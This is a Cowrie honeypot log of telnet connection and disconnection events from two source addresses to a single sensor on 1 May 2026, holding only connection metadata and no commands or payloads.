{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55040,"dst_ip":"10.17.0.5","dst_port":23,"session":"9021928c9993","protocol":"telnet","message":"New connection: 208.115.200.90:55040 (10.17.0.5:23) [session: 9021928c9993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.413355Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48478,"dst_ip":"10.17.0.5","dst_port":23,"session":"505462e52594","protocol":"telnet","message":"New connection: 208.115.219.122:48478 (10.17.0.5:23) [session: 505462e52594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.617135Z"}
{"eventid":"cowrie.session.closed","duration":31.259422063827515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.754229Z","src_ip":"208.115.219.122","session":"36e5d7a97a78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f08dd8e6a455","protocol":"telnet","message":"New connection: 208.115.200.90:55250 (10.17.0.5:23) [session: f08dd8e6a455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.934818Z"}
{"eventid":"cowrie.session.closed","duration":30.9743754863739,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.018604Z","src_ip":"208.115.219.122","session":"1ac0d636dac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48552,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7d7ca6a527","protocol":"telnet","message":"New connection: 208.115.219.122:48552 (10.17.0.5:23) [session: fa7d7ca6a527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.075131Z"}
{"eventid":"cowrie.session.closed","duration":30.291823148727417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.149090Z","src_ip":"208.115.200.90","session":"25ff6cbeb13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55274,"dst_ip":"10.17.0.5","dst_port":23,"session":"01df54061991","protocol":"telnet","message":"New connection: 208.115.200.90:55274 (10.17.0.5:23) [session: 01df54061991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.189658Z"}
{"eventid":"cowrie.session.closed","duration":30.912679433822632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.217280Z","src_ip":"208.115.200.90","session":"80cf0f605e9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55290,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c80c1d89d7","protocol":"telnet","message":"New connection: 208.115.200.90:55290 (10.17.0.5:23) [session: 38c80c1d89d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.268780Z"}
{"eventid":"cowrie.session.closed","duration":30.74312448501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.352766Z","src_ip":"208.115.200.90","session":"b6fad1140caa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55302,"dst_ip":"10.17.0.5","dst_port":23,"session":"73787c865270","protocol":"telnet","message":"New connection: 208.115.200.90:55302 (10.17.0.5:23) [session: 73787c865270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.492639Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ce3bd1df4b","protocol":"telnet","message":"New connection: 208.115.200.90:55064 (10.17.0.5:23) [session: 77ce3bd1df4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.509972Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55128,"dst_ip":"10.17.0.5","dst_port":23,"session":"b03111a471b3","protocol":"telnet","message":"New connection: 208.115.200.90:55128 (10.17.0.5:23) [session: b03111a471b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.623405Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55338,"dst_ip":"10.17.0.5","dst_port":23,"session":"34dd8e0ac19d","protocol":"telnet","message":"New connection: 208.115.200.90:55338 (10.17.0.5:23) [session: 34dd8e0ac19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.686544Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48614,"dst_ip":"10.17.0.5","dst_port":23,"session":"9313714a5715","protocol":"telnet","message":"New connection: 208.115.219.122:48614 (10.17.0.5:23) [session: 9313714a5715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:03.784068Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55362,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a0817873d9f","protocol":"telnet","message":"New connection: 208.115.200.90:55362 (10.17.0.5:23) [session: 8a0817873d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.000635Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48262,"dst_ip":"10.17.0.5","dst_port":23,"session":"799feed01172","protocol":"telnet","message":"New connection: 208.115.219.122:48262 (10.17.0.5:23) [session: 799feed01172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.010776Z"}
{"eventid":"cowrie.session.closed","duration":30.714736700057983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.027086Z","src_ip":"208.115.219.122","session":"945c8ac38714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841713190078735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.034178Z","src_ip":"208.115.219.122","session":"f4a99338bea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923084259033203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.052070Z","src_ip":"208.115.219.122","session":"3f6497a982c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.535755395889282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.067100Z","src_ip":"208.115.200.90","session":"38d84c01c61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064054012298584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.170487Z","src_ip":"208.115.219.122","session":"7344b0a20f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.022216320037842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.184362Z","src_ip":"208.115.200.90","session":"74252bad5bd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607252597808838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.209200Z","src_ip":"208.115.200.90","session":"adb89c2c1d95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55398,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd283bbb4c1","protocol":"telnet","message":"New connection: 208.115.200.90:55398 (10.17.0.5:23) [session: fcd283bbb4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.222144Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55404,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff083e1f6545","protocol":"telnet","message":"New connection: 208.115.200.90:55404 (10.17.0.5:23) [session: ff083e1f6545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.235908Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55406,"dst_ip":"10.17.0.5","dst_port":23,"session":"1717a371f77f","protocol":"telnet","message":"New connection: 208.115.200.90:55406 (10.17.0.5:23) [session: 1717a371f77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.311067Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48650,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc479ae8e3e","protocol":"telnet","message":"New connection: 208.115.219.122:48650 (10.17.0.5:23) [session: fdc479ae8e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.476431Z"}
{"eventid":"cowrie.session.closed","duration":30.801260948181152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.490119Z","src_ip":"208.115.200.90","session":"a56b53fbefff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51488,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbf224d1667","protocol":"telnet","message":"New connection: 208.115.200.90:51488 (10.17.0.5:23) [session: 3bbf224d1667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.525363Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48656,"dst_ip":"10.17.0.5","dst_port":23,"session":"731d88ad8a3b","protocol":"telnet","message":"New connection: 208.115.219.122:48656 (10.17.0.5:23) [session: 731d88ad8a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.695645Z"}
{"eventid":"cowrie.session.closed","duration":31.300184726715088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.808596Z","src_ip":"208.115.219.122","session":"6d478d63ebb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48672,"dst_ip":"10.17.0.5","dst_port":23,"session":"003fa93bb488","protocol":"telnet","message":"New connection: 208.115.219.122:48672 (10.17.0.5:23) [session: 003fa93bb488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:04.887088Z"}
{"eventid":"cowrie.session.closed","duration":30.877044200897217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.020267Z","src_ip":"208.115.219.122","session":"6e9f44b9273b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40558,"dst_ip":"10.17.0.5","dst_port":23,"session":"295a8239b8e3","protocol":"telnet","message":"New connection: 208.115.219.122:40558 (10.17.0.5:23) [session: 295a8239b8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.073990Z"}
{"eventid":"cowrie.session.closed","duration":30.967617988586426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.150974Z","src_ip":"208.115.200.90","session":"35087baa57fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51516,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a7456aa226","protocol":"telnet","message":"New connection: 208.115.200.90:51516 (10.17.0.5:23) [session: b6a7456aa226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.168718Z"}
{"eventid":"cowrie.session.closed","duration":30.325008630752563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.175834Z","src_ip":"208.115.200.90","session":"da9832c86b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.302889108657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.196572Z","src_ip":"208.115.200.90","session":"bf85daa54bf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b6b017db5c","protocol":"telnet","message":"New connection: 208.115.200.90:51542 (10.17.0.5:23) [session: 26b6b017db5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.291311Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c0f15c2746","protocol":"telnet","message":"New connection: 208.115.219.122:48384 (10.17.0.5:23) [session: a6c0f15c2746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.305669Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51544,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c0ac46fecc","protocol":"telnet","message":"New connection: 208.115.200.90:51544 (10.17.0.5:23) [session: 99c0ac46fecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.319762Z"}
{"eventid":"cowrie.session.closed","duration":31.21915888786316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.340387Z","src_ip":"208.115.200.90","session":"a1f03c06691c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40610,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f704187416e","protocol":"telnet","message":"New connection: 208.115.219.122:40610 (10.17.0.5:23) [session: 7f704187416e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.362258Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40622,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb7fad33863","protocol":"telnet","message":"New connection: 208.115.219.122:40622 (10.17.0.5:23) [session: 8fb7fad33863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.399639Z"}
{"eventid":"cowrie.session.closed","duration":31.00219202041626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.421115Z","src_ip":"208.115.200.90","session":"8ed6a881e92e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ab43fec74a","protocol":"telnet","message":"New connection: 208.115.219.122:40652 (10.17.0.5:23) [session: a4ab43fec74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.508276Z"}
{"eventid":"cowrie.session.closed","duration":30.901841163635254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:05.564941Z","src_ip":"208.115.200.90","session":"af8358fb12f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768556833267212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.061575Z","src_ip":"208.115.200.90","session":"3fc400799b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40736,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf6e52e0502f","protocol":"telnet","message":"New connection: 208.115.219.122:40736 (10.17.0.5:23) [session: cf6e52e0502f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.070123Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51738,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e915f59047","protocol":"telnet","message":"New connection: 208.115.200.90:51738 (10.17.0.5:23) [session: 87e915f59047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.085589Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40760,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcab65c67da3","protocol":"telnet","message":"New connection: 208.115.219.122:40760 (10.17.0.5:23) [session: fcab65c67da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.166670Z"}
{"eventid":"cowrie.session.closed","duration":30.541261196136475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.184989Z","src_ip":"208.115.200.90","session":"93a2d3984bc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717450618743896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.198710Z","src_ip":"208.115.200.90","session":"32ab8f552979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40800,"dst_ip":"10.17.0.5","dst_port":23,"session":"5df8c4ae9760","protocol":"telnet","message":"New connection: 208.115.219.122:40800 (10.17.0.5:23) [session: 5df8c4ae9760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.226441Z"}
{"eventid":"cowrie.session.closed","duration":31.036044597625732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.278193Z","src_ip":"208.115.200.90","session":"658a8f46abc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55288,"dst_ip":"10.17.0.5","dst_port":23,"session":"59446836af88","protocol":"telnet","message":"New connection: 208.115.200.90:55288 (10.17.0.5:23) [session: 59446836af88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.318701Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40594,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15dc7ae6835","protocol":"telnet","message":"New connection: 208.115.219.122:40594 (10.17.0.5:23) [session: e15dc7ae6835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.382978Z"}
{"eventid":"cowrie.session.closed","duration":31.261223316192627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.407596Z","src_ip":"208.115.200.90","session":"5b70c14ea9e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7940034866333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.484187Z","src_ip":"208.115.200.90","session":"59361b464c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51848,"dst_ip":"10.17.0.5","dst_port":23,"session":"25bb1b1317f6","protocol":"telnet","message":"New connection: 208.115.200.90:51848 (10.17.0.5:23) [session: 25bb1b1317f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.633884Z"}
{"eventid":"cowrie.session.closed","duration":31.589959383010864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:06.958534Z","src_ip":"208.115.219.122","session":"cdb93c2055a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55370,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c9558d8077a","protocol":"telnet","message":"New connection: 208.115.200.90:55370 (10.17.0.5:23) [session: 2c9558d8077a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.086138Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55384,"dst_ip":"10.17.0.5","dst_port":23,"session":"e002ae553075","protocol":"telnet","message":"New connection: 208.115.200.90:55384 (10.17.0.5:23) [session: e002ae553075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.147314Z"}
{"eventid":"cowrie.session.closed","duration":30.560174465179443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.158485Z","src_ip":"208.115.200.90","session":"eaaa3ad274b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff75d27fe16b","protocol":"telnet","message":"New connection: 208.115.219.122:40992 (10.17.0.5:23) [session: ff75d27fe16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.174115Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51892,"dst_ip":"10.17.0.5","dst_port":23,"session":"b522fe9becc3","protocol":"telnet","message":"New connection: 208.115.200.90:51892 (10.17.0.5:23) [session: b522fe9becc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.181574Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51896,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ae0d066a9b","protocol":"telnet","message":"New connection: 208.115.200.90:51896 (10.17.0.5:23) [session: 02ae0d066a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.194144Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51924,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a491639c07","protocol":"telnet","message":"New connection: 208.115.200.90:51924 (10.17.0.5:23) [session: 47a491639c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.290326Z"}
{"eventid":"cowrie.session.closed","duration":31.294744729995728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.299020Z","src_ip":"208.115.219.122","session":"351b523074e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09714436531067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.308642Z","src_ip":"208.115.200.90","session":"30891d6fed70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51770,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f10a7b64694","protocol":"telnet","message":"New connection: 208.115.200.90:51770 (10.17.0.5:23) [session: 6f10a7b64694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.341254Z"}
{"eventid":"cowrie.session.closed","duration":31.13989496231079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.426806Z","src_ip":"208.115.200.90","session":"04a19a6318e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40850,"dst_ip":"10.17.0.5","dst_port":23,"session":"919beb727548","protocol":"telnet","message":"New connection: 208.115.219.122:40850 (10.17.0.5:23) [session: 919beb727548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.467068Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48638,"dst_ip":"10.17.0.5","dst_port":23,"session":"df6affda596e","protocol":"telnet","message":"New connection: 208.115.219.122:48638 (10.17.0.5:23) [session: df6affda596e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.475439Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51826,"dst_ip":"10.17.0.5","dst_port":23,"session":"563ce6ff2761","protocol":"telnet","message":"New connection: 208.115.200.90:51826 (10.17.0.5:23) [session: 563ce6ff2761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.597878Z"}
{"eventid":"cowrie.session.closed","duration":31.16718339920044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.658300Z","src_ip":"208.115.219.122","session":"e096e223d4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.590739965438843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.747273Z","src_ip":"208.115.219.122","session":"856615354746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174571752548218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.876116Z","src_ip":"208.115.200.90","session":"fdaf18a34b6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.923834562301636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:07.972342Z","src_ip":"208.115.219.122","session":"81e0aa8bef7e","protocol":"telnet"}
